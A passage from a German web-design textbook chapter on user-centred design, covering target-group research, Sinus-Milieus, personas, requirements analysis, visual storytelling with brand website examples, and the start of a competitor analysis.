            Es liegt nun also an uns, so viel wie nur irgend möglich über den User herauszufinden. Aber klären wir zunächst einmal, was man mit dem Begriff Zielgruppe überhaupt gemeint ist und was man darunter versteht. Nicht selten unterliegt man an dieser Stelle einem Irrtum, denn die Zielgruppe definiert nicht die Gruppe der Menschen, die ein System verwenden und bedienen können, sondern diejenigen, die es verwenden werden. Denken Sie beispielsweise daran, ein Onlinebanking-System entwickeln zu müssen.

            
                [»]  Geplantes Vorgehen

                Oftmals neigt man zu der Annahme, dass die Zielgruppe aus demografischer Sicht aus Menschen jeglichen Alters, Geschlechts, Vorwissens usw. besteht, da Onlinebanking-Systeme ja für all diejenigen gedacht sind, die daran interessiert sind, ihre Bankgeschäfte über einen Browser zu erledigen. Das wäre zweifelsohne ein gültiges, wenngleich jedoch falsches Argument.

                Worauf wir uns konzentrieren wollen, sind diejenigen Menschen, die dies auch tatsächlich – und auch häufig – tun werden. Für genau diese Gruppe an Menschen gilt es, das System zu optimieren. Das bedeutet aber nicht, dass Menschen, die nicht dieser Gruppe angehören, das System nicht verwenden können. Es bedeutet hingegen lediglich, dass es eine Gruppe von Menschen gibt, für die das System optimiert wird: die Zielgruppe.

            

            
                [Info]  Demografie

                Unter der Demografie (auch »Bevölkerungswissenschaft«) versteht man eine Wissenschaft, die sich statistisch und theoretisch mit der Entwicklung von Bevölkerungen und ihren Strukturen auseinandersetzt. Dies umfasst Daten zum Alter (samt einer zahlenmäßigen Untergliederung) gleichermaßen wie geografische, umweltbedingte und soziale Faktoren zur Veränderung dieser Strukturen.

            

            Die nächste Frage, die sich somit sofort stellt, lautet: Wie finden wir unsere Zielgruppe heraus und woher erhalten wir Informationen über sie? Sehr gute Quellen sich grundsätzlich Institutionen wie etwa Statistik Austria in Österreich (www.statistik.at) oder das Statistische Bundesamt in Deutschland (www.destatis.de) sowie kostenpflichtige Sites wie www.statista.de, die allesamt statistische Daten bereitstellen (siehe Abbildung 2.1).

            Gräbt man ein wenig weiter, stößt man bereits auf erste demografische Daten zur Nutzung (siehe Abbildung 2.2).

            
                [image: Erste statistische Daten zur Onlinebanking-Nutzung in Österreich für die Jahre 2007 bis 2021. Diese Daten bilden einen ersten Ansatz für unsere weiteren Über-legungen. (Quelle: www.statista.de, abgerufen am 2.12.2022)]

                Abbildung 2.1    
            Erste statistische Daten zur Onlinebanking-Nutzung in Österreich für die Jahre 2007 bis 2021. Diese Daten bilden einen ersten Ansatz für unsere weiteren Über-legungen. (Quelle: www.statista.de, abgerufen am 2.12.2022)

            
            
                [image: Und schon haben wir ein paar demografische Daten zu unserem Vorhaben. (Quelle: www.statista.de, abgerufen am 2.12.2022)]

                Abbildung 2.2    
            Und schon haben wir ein paar demografische Daten zu unserem Vorhaben. 
(Quelle: www.statista.de, abgerufen am 2.12.2022)

            
            Grundsätzlich könnte man zunächst aus Abbildung 2.2 ablesen, dass der Altersschnitt der Onlinebanking-Nutzer relativ breit gestreut ist, wobei wir unseren Peak bei den 25- bis 34-Jährigen finden. So kann man beispielsweise argumentieren, dass die Gruppe 65- bis 74-Jährigen eine untergeordnete Rolle in unseren Überlegungen einnehmen wird – und das ist eine erste, wichtige Erkenntnis.

            Ein anderer Weg, um Informationen zu unseren potenziellen Nutzern zu erhalten, wäre die klassische Marktforschung, die in der Regel über Interviews erfolgt. Interviewt werden alle Personengruppen, die Interesse oder auch kein Interesse an dem haben, was es auf der Website darzustellen gilt. Kann man auf einen bestehenden Kundenkreis zurückgreifen, so hat man es einfacher, denn man weiß recht gut, wen man interviewen kann – auch weil Interviewte oftmals Kontakte weitergeben, die eventuell auch an der zu bewerbenden Dienstleistung bzw. dem zu bewerbenden Produkt interessiert sind.

            Andernfalls muss man Annahmen über die potenziellen User treffen und auf die Suche nach Interviewpartnern gehen. Dies führt bei größeren Projekten oft dazu, dass Meinungsforschungsinstitute ins Spiel kommen, was aber natürlich mit einigem (finanziellen) Aufwand einhergeht, der wiederum oft nicht ins Budget passt.

            Schlussendlich wären Online-Umfragen ebenfalls ein praktikabler Weg, um an Informationen zu kommen.

            In jedem Fall sollten Sie nach der Recherche zu den potenziellen Usern folgende Informationen gesammelt haben, die wir etwas später in das Schema der Personas pressen:

            
                	
                    Persönliche Daten: Alter, Geschlecht, Familienstand (ledig, verheiratet etc.), Wohngebiet (urban, ländlich), höchste Ausbildung

                

                	
                    Persönlichkeit (skalenbasiert 1–5): extrovertiert vs. introvertiert, unbedacht vs. berechnend, rational vs. emotional, voreingenommen vs. offen, aktiv vs. passiv

                

                	
                    Aktivierungsfaktoren (skalenbasiert 1–10): Anreiz, Angst/Sorgen, Relevanz, soziale Aspekte, Leistungsangebot, persönliches Wachstum

                

                	
                    Erreichbarkeit (skalenbasiert 1–10): postalisch, Anzeige (Zeitung, Magazin), E-Mail, Bannerwerbung, Social-Media-Posts/Ads, Blogs, persönliche Empfehlungen, Events/öffentliche Orte

                

                	
                    Berufliche Daten: aktuell ausgeübter Beruf, Stellenbezeichnung, Zuständigkeiten, Unternehmensgröße

                

                	
                    Technisches Verständnis (skalenbasiert 1–10) zu: Internet, Software, Apps, Smartphone und Tablet, Social Media

                

                	
                    Bevorzugte Kommunikationsmittel (skalenbasiert 1–10): telefonisch, postalisch, Face-to-Face, E-Mail, Messenger, Chat

                

                	
                    Wünsche, Bedürfnisse, Vorlieben, idealerweise Anforderungen an das System

                

                	
                    Für gut empfundene Marken

                

            

            Natürlich hängt es von der Ausrichtung der Website ab, welche Daten Sie abfragen. Aus diesen Daten können Sie nun gute Schlussfolgerungen über das Verhalten, die Bedürfnisse und Erwartungen etc. von Menschen(-gruppen) ableiten, die Ihrer Zielgruppe entsprechen. Gerne zieht man in weiterer Folge für eine Kategorisierung der User die sogenannten Sinus-Milieus heran, die im Wesentlichen ein Bild der Gesellschaft nach sozialer Lage und Grundorientierung liefern (vgl. https://www.sinus-institut.de/sinus-milieus). Wie die nachfolgenden Grafiken verdeutlichen, sind die Übergänge zwischen den einzelnen Gruppen fließend, was unseren eigenen Erfahrungen, die wir täglich machen, entspricht und auch einfach logisch erscheint.

            
                [image: Die Sinus-Milieus für Deutschland]

                Abbildung 2.3    
            Die Sinus-Milieus für Deutschland

            
            Das Sinus-Institut erhebt für viele Länder entsprechende Daten. Nachfolgend finden Sie etwa die Unterteilung für Österreich, die vom INTEGRAL-Institut in Österreich als Partner des Sinus-Instituts vorgenommen wird. Es ist spannend zu sehen, wie unterschiedlich die beiden Länder in der Verteilung der Milieus sind. Dieses Faktum sollte Ihnen zu denken geben, wenn Sie eine Strategie für die geplante Website entwickeln.

            
                [image: Die Sinus-Milieus für Österreich.]

                Abbildung 2.4    
            Die Sinus-Milieus für Österreich.

            
            Den Milieus sind Eigenschaften zugewiesen, die in Tabelle 2.3 zusammengefasst sind (Quelle: https://www.sinus-institut.de/sinus-milieus/sinus-milieus-deutschland):

            
                
                    
                        	
                            Sinus-Milieu

                        
                        	
                            Beschreibung

                        
                    

                
                
                    
                        	
                            Leitmilieus

                        
                    

                    
                        	
                            Konservativ-gehobenes Milieu

                        
                        	
                            Die alte strukturkonservative Elite:

                            
                                	
                                    klassische Verantwortungs- und Erfolgsethik sowie Exklusivitäts- und Statusansprüche

                                

                                	
                                    Wunsch nach Ordnung und Balance

                                

                                	
                                    Selbstbild als Fels in der Brandung postmoderner Beliebigkeit

                                

                                	
                                    Erosion der gesellschaftlichen Führungsrolle

                                

                            

                        
                    

                    
                        	
                            Postmaterielles Milieu

                        
                        	
                            Engagiert-souveräne Bildungselite mit postmateriellen Wurzeln:

                            
                                	
                                    Selbstbestimmung und -entfaltung sowie auch Gemeinwohlorientierung

                                

                                	
                                    Verfechter von Post-Wachstum, Nachhaltigkeit, diskriminierungsfreien Verhältnissen und Diversität

                                

                                	
                                    Selbstbild als gesellschaftliches Korrektiv

                                

                            

                        
                    

                    
                        	
                            Milieu der Performer

                        
                        	
                            Die effizienzorientierte und fortschrittsoptimistische Leistungselite:

                            
                                	
                                    globalökonomisches und liberales Denken

                                

                                	
                                    gesamtgesellschaftliche Perspektive auf der Basis von Eigenverantwortung

                                

                                	
                                    Selbstbild als Stil- und Konsum-Pioniere

                                

                                	
                                    hohe Technik- und Digital-Affinität

                                

                            

                        
                    

                    
                        	
                            Zukunftsmilieus

                        
                    

                    
                        	
                            Expeditives Milieu

                        
                        	
                            Die ambitionierte kreative Bohème:

                            
                                	
                                    urban, hip, digital, kosmopolitisch und vernetzt

                                

                                	
                                    auf der Suche nach neuen Grenzen und unkonventionellen Erfahrungen, Lösungen und Erfolgen

                                

                                	
                                    ausgeprägte Selbstdarstellungskompetenz, Selbstbild als postmoderne Elite

                                

                            

                        
                    

                    
                        	
                            Neo-ökologisches Milieu

                        
                        	
                            Die progressiven Realisten:

                            
                                	
                                    Optimismus und Aufbruchsmentalität bei gleichzeitig ausgeprägtem Problembewusstsein für die planetaren Herausforderungen

                                

                                	
                                    Selbstbild als Changemaker und Impulsgeber der globalen Transformation

                                

                                	
                                    offen für neue Wertesynthesen: Disruption und Pragmatismus, Erfolg und Nachhaltigkeit, Party und Protest

                                

                                	
                                    nachhaltiger Lebensstil ohne Verzichtsideologie

                                

                            

                        
                    

                    
                        	
                            Moderner Mainstream

                        
                    

                    
                        	
                            Adaptiv-pragmatische Mitte

                        
                        	
                            Der moderne Mainstream:

                            
                                	
                                    Anpassungs- und Leistungsbereitschaft, Nützlichkeitsdenken, aber auch Wunsch nach Spaß und Unterhaltung

                                

                                	
                                    starkes Bedürfnis nach Verankerung und Zugehörigkeit

                                

                                	
                                    wachsende Unzufriedenheit und Verunsicherung aufgrund der gesellschaftlichen Entwicklung

                                

                                	
                                    Selbstbild als flexible Pragmatiker

                                

                            

                        
                    

                    
                        	
                            Konsum-hedonistisches Milieu

                        
                        	
                            Die auf Konsum und Entertainment fokussierte (untere) Mitte:

                            
                                	
                                    Spaßhaben im Hier und Jetzt

                                

                                	
                                    Selbstbild als cooler Lifestyle-Mainstream

                                

                                	
                                    starkes Geltungsbedürfnis

                                

                                	
                                    berufliche Anpassung vs. Freizeit-Eskapismus

                                

                                	
                                    zunehmend genervt vom Diktat der Nachhaltigkeit und von Political Correctness

                                

                            

                        
                    

                    
                        	
                            Prekäres Milieu

                        
                        	
                            Die um Orientierung und Teilhabe bemühte Unterschicht:

                            
                                	
                                    Dazugehören und Anschlusshalten an den Lebensstandard der breiten Mitte – aber Häufung sozialer Benachteiligungen und Ausgrenzungen

                                

                                	
                                    Gefühl des Abgehängtseins, Verbitterung und Ressentiments

                                

                                	
                                    Selbstbild als robuste Durchbeißer

                                

                            

                        
                    

                    
                        	
                            Traditioneller Mainstream

                        
                    

                    
                        	
                            Nostalgisch-bürgerliches Milieu

                        
                        	
                            Die harmonieorientierte (untere) Mitte:

                            
                                	
                                    Wunsch nach gesicherten Verhältnissen und einem angemessenen Status

                                

                                	
                                    Selbstbild als Mitte der Gesellschaft, aber wachsende Überforderung und Abstiegsängste

                                

                                	
                                    gefühlter Verlust gelernter Regeln und Gewissheiten

                                

                                	
                                    Sehnsucht nach alten Zeiten

                                

                            

                        
                    

                    
                        	
                            Traditionelles Milieu

                        
                        	
                            Die Sicherheit und Ordnung liebende ältere Generation:

                            
                                	
                                    verhaftet in der kleinbürgerlichen Welt bzw. traditionellen Arbeiterkultur

                                

                                	
                                    anspruchslose Anpassung an die Notwendigkeiten

                                

                                	
                                    steigende Akzeptanz der neuen Nachhaltigkeitsnorm

                                

                                	
                                    Selbstbild als rechtschaffene kleine Leute

                                

                            

                        
                    

                
            

            Tabelle 2.3    
            Die Sinus-Milieus zusammengefasst

            Unsere Aufgabe ist es nun, die zu erwartenden User basierend auf qualitativer oder quantitativer Annahme in eine oder mehrere Gruppen einzuteilen. Ist dies erfolgt, so ergibt sich ein recht gutes Bild der potenziellen User, die wir nun in Form sogenannter Personas abbilden können.

        
        
            2.4.3    Personas

            Unter Personas versteht man fiktive Abbilder von Usern mit genau den Eigenschaften, die wir im vorangegangenen Abschnitt herausgearbeitet haben – sie stellen die klassischen Vertreter der Zielgruppe dar.

            Üblicherweise definiert man 3 bis 5 Personas. Man gibt ihnen einen Namen und auch ein (natürlich fiktives) Foto. Machen Sie nicht den Fehler, Avatare anstatt von Fotos zu verwenden, denn gerade die bildhafte Darstellung von Personen ermöglicht ein besseres »In-sie-Hineinversetzen«, und genau deshalb kreiert man sie. Als hilfreich und unterstützend erweist sich oftmals auch eine kurze textuelle Beschreibung.

            Das Ergebnis sollte eine Art Steckbrief in Form eines Profils sein, wie Sie es in Abbildung 2.5 sehen.

            
                [image: Personas sind fiktive, aber doch sehr reale Personen. Sie helfen uns, uns besser auf die Zielgruppe einzustellen und uns in diese hineinzuversetzen.]

                Abbildung 2.5    
            Personas sind fiktive, aber doch sehr reale Personen. Sie helfen uns, uns besser auf die Zielgruppe einzustellen und uns in diese hineinzuversetzen.

            
        
        
            2.4.4    Die Anforderungsanalyse, um die Anforderungen der User zu erkennen und erfüllen zu können

            Nun ist es also an der Zeit, mit den Usern »Kontakt aufzunehmen«, um zu erfahren, welche Anforderungen sie an unsere Website stellen. Dies ist aber ganz offensichtlich nicht immer möglich, da wir unsere (potenziellen) User dazu befragen oder analysieren müssten – in Form von Interviews, Beobachtungen etc.

            An dieser Stelle kommen daher unsere Personas zum Einsatz: Nachdem wir diese so gut wie möglich definiert haben (was ja wiederum auf einer User-Analyse erfolgt ist), gilt es nun, sich in sie hineinzuversetzen und zu versuchen, ihre Denk- und Handlungsweisen zu erkennen bzw. zu erahnen. Das ist nicht immer einfach. Dennoch ist es die effektivste Herangehensweise, die die wenigsten Kosten verursacht.

            Für diese Aufgabe ist ein gutes Maß an Empathie hilfreich, ja sogar nötig. Empathie ist laut Wikipedia »... die Fähigkeit und Bereitschaft, Empfindungen, Emotionen, Gedanken, Motive und Persönlichkeitsmerkmale einer anderen Person zu erkennen, zu verstehen und nachzuempfinden. Ein damit korrespondierender allgemeinsprachlicher Begriff ist Einfühlungsvermögen.« Entscheiden Sie selbst, wie empathisch Sie sind (oder fragen Sie Ihr Umfeld).

            
                [ ! ]  Das Gefahrenfeld Anforderungsanalyse

                Es sollte nicht unerwähnt bleiben, dass in der Phase der Anforderungsdefinition in der Regel die meisten Fehler passieren, was für ein Projekt fatal sein kann: Geht man von falschen Anforderungen aus, baut jegliche weitere Entwicklung und Überlegung auf dieser – falschen – Annahme auf.

                Ganz ehrlich: Das kann bei einem Projekt dazu führen, dass es uns am Ende wieder ganz zum Anfang zurückwirft. Nämlich genau dann, wenn wir unsere realen User im Rahmen eines Usability-Tests an das System / die Website heranlassen und diese mit ihr so gar nicht zurechtkommen. Dementsprechend ist die Richtigkeit unserer Annahmen essenziell!

            

            Wie bereits erwähnt, gilt es zu klären, was die User wollen und brauchen – nicht, was was wir uns vorstellen. Dabei müssen sämtliche Anforderungen des Users bzw. an den User vorab geklärt, bestätigt, komplettiert und analysiert werden. Als Input dienen uns entweder – sofern vorhanden – Dokumente aus einem Anforderungskatalog oder Ähnlichem oder unsere Einschätzungen zur Usergruppe (wo wir wieder bei der Empathie wären).

            Der Output aus der Anforderungsanalyse sind stabile, existierende Anforderungen. Machen Sie sich bewusst, dass Anforderungen aus einem Verständnis für Benutzerwünsche entstehen und dadurch gerechtfertigt sind und dass sich somit der Kreis schließt: Sie kennen den User, wissen über seine Anforderungen Bescheid und erfüllen damit seine Bedürfnisse.

            
                [Info]  Der Anforderungskatalog

                Üblicherweise steht ein Anforderungskatalog zu Beginn eines Projekts zu einem großen Teil fest. Projekte, die unklare Anforderungen haben, sind in der Umsetzung oftmals mehr als herausfordernd, da sich die Anforderungen dann während der Projektumsetzung ergeben müssen.

            

            Die Anforderungen selbst wurzeln also in den Verhaltensmustern der User, wodurch wir ihre »Biografie« kennen müssen. In aller Regel ergibt dies einen Ablauf an Gedanken und Handlungsweisen, die wir von unseren Usern kennen müssen. Daraus »basteln« wir uns ein Verhaltensmuster, das wir abbilden müssen, und zwar in der Form, dass wir den User zu den gewünschten Informationen leiten. Das geschieht auf Basis dessen, wie der User glaubt, dass es vonstatten gehen sollte. »Storytelling« ist ein sehr beliebter Weg, den User unterbewusst zu leiten bzw. in ihm eine Idee oder ein Bedürfnis wachsen zu lassen.

            Neben den Anforderungen, die der User an unsere Website stellt, existieren natürlich auch die Anforderungen, die wir selbst bzw. die unser Kunde an das System stellt.

            Ganz grundsätzlich unterscheiden wir zwei Arten von Anforderungen an den User bzw. das System:

            
                	
                    Funktionale Anforderungen: Diese legen fest, wozu der User bzw. das System in der Lage sein sollen, also beispielsweise wofür das System erdacht ist, welche Möglichkeiten der User vorfinden soll und welche Fähigkeiten der User mitbringen soll. Sie stellen die quantitativ messbaren Anforderungen dar.

                

                	
                    Nicht-funktionale Anforderungen: Diese Anforderungen wiederum legen fest, wie gut der User mit dem System umgehen können soll bzw. wie gut das System die (technischen) Anforderungen erfüllen soll (z. B. in Hinblick auf Performance, Speicherbedarf etc.). Diese Anforderungen stellen demnach die Qualitätseigenschaften dar.

                

            

            Nehmen wir an, wir entwickeln eine Website für Kraftsportler. Im Rahmen dieser Website sollen unsere User in der Lage sein, ihre durchgeführten Übungen (Gewicht, Anzahl an Wiederholungen, Pause) einzugeben und zu speichern. Aus den eingegebenen Daten soll schlussendlich eine Art »Trainingserfolg« berechnet werden. Beispiele für funktionale bzw. nicht-funktionale Anforderungen einer solche Website sehen Sie in Tabelle 2.4.

            
                
                    
                        	
                        	
                            funktional

                        
                        	
                            nicht-funktional

                        
                    

                
                
                    
                        	
                            User

                        
                        	
                            
                                	
                                    Der User verfügt über ein geeignetes Eingabegerät (Bildschirm, Tastatur etc.).

                                

                                	
                                    Der User ist kognitiv in der Lage, das System zu bedienen.

                                

                            

                        
                        	
                            
                                	
                                    Die Eingabe von Daten soll auch möglich sein, wenn die Hände aufgrund der Belastung stark zittern.

                                

                                	
                                    Die Eingabe der Werte soll auf einfache Art und Weise (z. B. über vordefinierte Buttons oder ein »Drehrad«) möglich sein.

                                

                            

                        
                    

                    
                        	
                            System

                        
                        	
                            Ermöglicht die Eingabe von Gewicht, Anzahl an Wiederholungen und der Pause danach.

                            Speichert die Daten in eine Datenbank auf einem zentralen Server.

                            Berechnet den Trainingserfolg auf Basis einer vorgegebenen Berechnungsmethode.

                        
                        	
                            
                                	
                                    Die Speicherung der Daten soll im Falle einer fehlenden Netzwerkverbindung zwischenzeitlich offline erfolgen und später, wenn wieder eine Netzwerkverbindung besteht, hochgeladen/synchronisiert werden.

                                

                                	
                                    Jeder Eingabe durch den User folgt in angemessener Zeit (z. B. nach 0,1 Sekunden) eine optische/akustische Rückmeldung.

                                

                                	
                                    Die Website soll auf allen gängigen Ausgabegeräten bedienbar sein (Thema Responsive Design).

                                

                            

                        
                    

                
            

            Tabelle 2.4    
            Funktionale und nicht-funktionale Anforderungen an den User und das System

            Für eine jede Anforderung, die wir formulieren, muss eine geeignete Möglichkeit, sie zu messen, definiert werden – eine Metrik. Üblicherweise werden User-Anforderungen über Usability-Untersuchungen und Systemanforderungen über Funktions-, Unit- und Performance-Tests durchgeführt. Im Idealfall inspizieren wir unser System und das User-Verhalten während der Entwicklung laufend. Man spricht auch von »iterativer Entwicklung«, da die Entwicklung oftmals im Kreis läuft: Prototyp entwickeln, testen, Prototyp verbessern, testen usw.

            User-zentrierte Ansätze basieren demnach auf folgenden Punkten:

            
                	
                    Früher Fokus auf den User, die Aufgabe und das Ziel: Wir streben ein direktes Untersuchen von kognitiven, verhaltensbasierten, anthropomorphischen (menschlichen) und von der Attitüde abhängigen (Einstellung, Standpunkt eines Menschen) Besonderheiten und Merkmale an.

                

                	
                    Empirische Messgrößen: Benutzerreaktionen und die Performance in Szenarios, bei Anleitungen, Simulationen und bei der Verwendung des Prototyps werden observiert, aufgezeichnet und analysiert.

                

            

        
        
            2.4.5    Die Bedürfnisse des Users erfüllen: (Visual) Storytelling

            Jeder Mensch hat Wünsche, Träume und Bedürfnisse – oder grob zusammengefasst: Emotionen. Sie entstehen durch Erlebnisse, Erkenntnisse und vieles mehr. Unsere Aufgabe ist es, diese Emotionen zu verstehen und sie zu intensivieren. Üblicherweise greifen wir an dieser Stelle auf »emotionsbehaftete Assets« wie etwa Bilder, Illustrationen oder auch Texte zurück. Wir versuchen an dieser Stelle Folgendes:

            
                	
                    Nachdem wir den User mittlerweile recht gut kennen sollten, kennen wir seine Bedürfnisse.

                

                	
                    Wir intensivieren diese Bedürfnisse durch die Darstellung geeigneter Bilder, Illustrationen, Videos, Texte etc., wodurch wir ihm eine »innere Bestätigung« für sein Bedürfnis geben.

                

            

            Das Gute an der Sache ist, dass wir als Menschen es gewohnt sind, Geschichten zu erzählen. Uns wurden Geschichten erzählt, als wir jung waren, wir haben Tausende von Geschichten gelesen, gehört oder gesehen, und in unserem täglichen sozialen Leben tun wir dies ebenso. Die Thematik ist uns also nicht fremd. Dahinter steht die Idee, dass wir durch das Erzählen von Geschichten im Kopf der Zuhörer Bilder entstehen lassen. Auf der anderen Seite kann man diese Idee auch umkehren und durch den Einsatz von Bildern beim Betrachter Geschichten entstehen lassen. Dass wir den Betrachter das eine oder andere Mal ein wenig »führen« müssen (beispielsweise durch den Einsatz begleitender Slogans), ist verständlich, da wir es nicht immer schaffen werden, das perfekte Bild zu finden.

            Ein Beispiel: Angenommen, unser User ist bergaffin. Wir zeigen ihm ein Bild, das einen einsamen Berggipfel in der Nacht darstellt. Ganz in der Nähe des Gipfels steht – fast inmitten des Sternenhimmels – ein hell beleuchtetes Kuppelzelt, davor erkennt man schemenhaft eine Person sitzen. Sie trinkt Kaffee und blickt in die Ferne. Man sieht keine Zivilisation, sondern nur den Berg, die Sterne, das erleuchtete Kuppelzelt und die Person. Darunter steht der Slogan: »Die Stille der Freiheit. Abenteuer Leben.«

            Können Sie das Bild sehen und die Emotionen spüren? Wahrscheinlich. Wenn wir jedoch unserem User genau so ein Bild zeigen, dann kann in ihm ein lang gehegter, aber in den Hintergrund gedrängter Wunsch wieder zum Vorschein kommen, genau so ein Erlebnis zu haben. Gehen wir davon aus, dass dieser Wunsch in ihm reift. Sollten wir ihm dieses Bild als Sujetbild für eine Outdoor-Marke gezeigt haben, so ist die Wahrscheinlichkeit hoch, dass er diese Website wieder besucht.

            Wir »verkaufen« dem User demnach seine eigenen, vielleicht schlummernden Träume auf visuelle Art und Weise. Unsere Aufgabe ist es, diese Wünsche zu erkennen. Nachfolgend sehen Sie ein paar Abbildungen von Websites, die genau darauf setzen: ausdrucksstarke Bilder, zumeist unterlegt mit (ausdrucksstarken) Slogans, die bei Ihnen den Wunsch erwecken, selbiges zu tun, zu besitzen, zu erleben, zu …

            Werfen Sie einen Blick auf die nachfolgenden Screenshots ausgewählter Marken. Sie alle vermitteln Ihnen ein Gefühl der Emotion, indem sie Ihnen visuell darstellen, warum Sie das Produkt besitzen sollten (»Ich verleihe dir ein besonderes Image«, »Ich bin besser als alles Vergleichbare«) oder welche Erfahrung Sie erleben werden (»Mit mir wirst du mehr erleben«).

            
                Marshall Headphones: www.marshallheadphones.com

                
                    [image: Die Website von Marshall Headphones]

                    Abbildung 2.6    
            Die Website von Marshall Headphones

                
                Marshall vermittelt das Erlebnis eines »unvergleichlichen Bühnensounds«, gepaart mit Coolness und einem gewissen »Break the rules«. Dies drückt sich sowohl in der Wahl und Anordnung der Bilder als auch in den abgebildeten Personen (cool, fern der Norm) und der Farbgebung aus. Marshall will die Jugend begeistern, ihr ein Image vermitteln und sagen: »Brich aus. Be different.«

            
            
                Apple: www.apple.at

                
                    [image: Das neue iPhone auf der Apple-Site]

                    Abbildung 2.7    
            Das neue iPhone auf der Apple-Site

                
                Apple transportiert das Edle und Schöne. Beachten Sie dabei, dass die Hintergrundfarbe Schwarz bestens dafür geeignet ist, den Vordergrund »erstrahlen« zu lassen. Getreu dem Motto »Design braucht Raum zum Atmen« reduziert Apple die Darstellung auf das Notwendigste, ohne dabei verloren zu wirken.

            
            
                Bowers & Wilkins: www.bowerswilkins.com

                
                    [image: Bowers & Wilkins vereinen Kunst und Klangerlebnis.]

                    Abbildung 2.8    
            Bowers & Wilkins vereinen Kunst und Klangerlebnis.

                
                Das Edle, Großartige: Bowers & Wilkins präsentieren mit dem außergewöhnlichen Lautsprechermodell Nautilus eine »Ikone, Legende und Inspiration«. Wer rund 100.000 € übrig hat, möge zuschlagen. Beachten Sie hier insbesondere die sehr harmonische und zurückhaltende Farbabstimmung. Würde der Lautsprecher noch ein wenig nach rechts gerückt werden, so würde das Prinzip des Goldenen Schnitts besser eingehalten werden. Der Grafiker hat dennoch alles richtig gemacht, indem er sich an der Raumkante orientiert hat.

            
            
                Ducati: www.ducati.com

                
                    [image: Ducati ist Leidenschaft, Lifestyle und großartige Technik.]

                    Abbildung 2.9    
            Ducati ist Leidenschaft, Lifestyle und großartige Technik.

                
                Bunt, grell, hip – der Lifestyle einer Ducati Scrambler. Steigen Sie auf, und Sie sind dabei. Ganz nach dem Motto »Next-Gen Freedom«. Wer braucht da schon Easy Rider & Co? Die Firma Ducati hat im Falle ihres Scrambler-Modells eine ganze Motorrad-Nische neu erfunden. Den Kunden gefällt’s, die Zielgruppe fühlt sich verstanden und die grafische Darstellung holt die Interessenten perfekt ab.

            
            
                Alfa Romeo: www.alfaromeo.com

                Lust auf den »Alfa Romeo Mythos«? Hier werden Sie bedient. Alfa Romeo spielt mit dem Design alter Ikonen und lässt den Betrachter erahnen, wo ihre Wurzeln zu finden sind. Das prägnante Rot steht in der Farbpsychologie für Emotion, Leidenschaft, Kraft usw.

                Über (Visual) Storytelling lassen sich ganze Bücher schreiben. Für uns ist wichtig, dass wir den Wert dieser Thematik erkennen und eine Vorstellung davon haben, wie wir die Bedürfnisse des Users intensivieren können. Ich denke, Sie konnten sich ein Bild (oder mehrere) machen.

                
                    [image: Alfa Romeo und der Mythos italienischer Autos]

                    Abbildung 2.10    
            Alfa Romeo und der Mythos italienischer Autos

                
            
        
    


                    
                        
        2.5    Konkurrenzanalyse: Wie sieht die Konkurrenz aus?

        Bedenken Sie an dieser Stelle eines: Die beste Idee kann wertlos sein, wenn tausend andere Personen auf dieselbe Idee gekommen sind. Wenn sich jedoch herausstellt, dass die Konkurrenz die Idee schlecht oder unvollständig umgesetzt hat, wird die eigene Idee auf einmal wieder wertvoll bzw. ergeben sich »Nischenchancen«. Aus diesem Grund sind grundlegendes Wissen über unsere Konkurrenz und die Umsetzung ihrer Websites essenziell. Hierzu ein einfaches Beispiel: Angenommen, Sie sind neu in einer Stadt und möchten zum Friseur. In diesem Fall wäre anzunehmenderweise Google Ihre erste Anlaufstelle: Der Name der Stadt und das Schlagwort »Friseur« werden eine gute Trefferliste ergeben. Ihr erster Zugang wird darin bestehen, dass Sie sich auf die ersten Treffer stürzen und die zugehörigen Websites betrachten. Denjenigen Friseur, dessen Website Sie am meisten anspricht, werden Sie höchstwahrscheinlich wählen.

        Was hat dieses Beispiel nun mit unserem Vorhaben zu tun? Nun, Ihr Kunde ist ein Friseur, der sich in der Stadt, in der er seinen Laden betreibt, etablieren möchte. Ihr Auftrag als Webentwickler ist es nun, die beste, schönste, tollste Website zu erstellen. Um dies zu schaffen, müssen Sie jedoch wissen, wie die Websites der Konkurrenz aussehen und diese nach gewissen Gesichtspunkten, sogenannten Benchmarks analysieren. Diese Benchmarks ergeben sich vorrangig aus den nicht-funktionalen Anforderungen des Users, die wir im vorangegangenen Abschnitt betrachtet haben – die funktionalen Anforderungen müssen ja sowieso erfüllt werden, aber uns ist wichtig, wie die Konkurrenz in Bezug auf die qualitativen Werte abschneidet.

        
            2.5.1    Die Vorgehensweise einer (einfachen) Konkurrenzanalyse

            Wir gehen wie folgt vor:

            
                	
                    Wir definieren eine Reihe von Benchmarks, die unseren Usern offensichtlich wichtig sind. Bedenken Sie an dieser Stelle immer, dass die Website für den User entwickelt wird und nicht für Sie oder Ihren Kunden. Üblicherweise sprechen wir von etwa fünf Benchmarks.

                

                	
                    Wir wählen die wichtigste Konkurrenz aus und beurteilen deren Websites nach unseren Benchmarks (beispielsweise auf einer Skala von 1 bis 10: 1 – grottenschlecht, 10 – besser geht’s nicht).

                

            

            
                [»]  Die Konkurrenzanalyse ist subjektiv

                Ja, bei dieser Form der Beurteilung der Konkurrenz handelt es sich um eine subjektive Einschätzung – ganz klar. Schöner (und gegebenenfalls auch objektiver) wäre es natürlich, dass die Beurteilung der Konkurrenz nicht von uns, sondern von den Usern aus der Zielgruppe vorgenommen wird. Tja, das ist wiederum eine Zeit- und Kostenfrage, die Sie bzw. Ihr Kunde beantworten muss.

            

            Kehren wir wieder zu dem Beispiel unseres Trainingstagebuches zurück. Beispiele für Benchmarks wären etwa:

            
                	
                    marktadäquate Preisgestaltung zur Nutzung des Trainingstagebuches

                

                	
                    ansprechendes, User-zentriertes Design

                

                	
                    Online- und Offline-Datenspeicherung von Trainingsdaten

                

                	
                    umfangreiches Übungsangebot

                

                	
                    Einfachheit der Erstellung eines Trainingsplanes

                

                	
                    App als optionale Nutzung

                

            

            Als Nächstes erfolgt eine Auswahl der Konkurrenz. Eine kurze Recherche im Internet (Keywords: Trainingstagebuch, Fitness Tagebuch, online) hat Folgendes ergeben:

            
                	
                    Die Konkurrenz ist überraschend gering, wenn man nicht nur eine App, sondern auch eine Website als Eingabemöglichkeit bekommen möchte.

                

                	
                    Wenn man die Konkurrenz nur auf Apps beschränkt, sieht die Sache schon ganz gut aus – es war aber nicht unser Ziel, uns nur auf Apps zu beschränken.

                

            

            Eine sinnvolle Konkurrenzanalyse für Websites ließe sich in diesem Beispiel nicht durchführen, da die Konkurrenz zu gering ist. Dies würde als Konsequenz sofort folgende Schlüsse zulassen:

            
                	
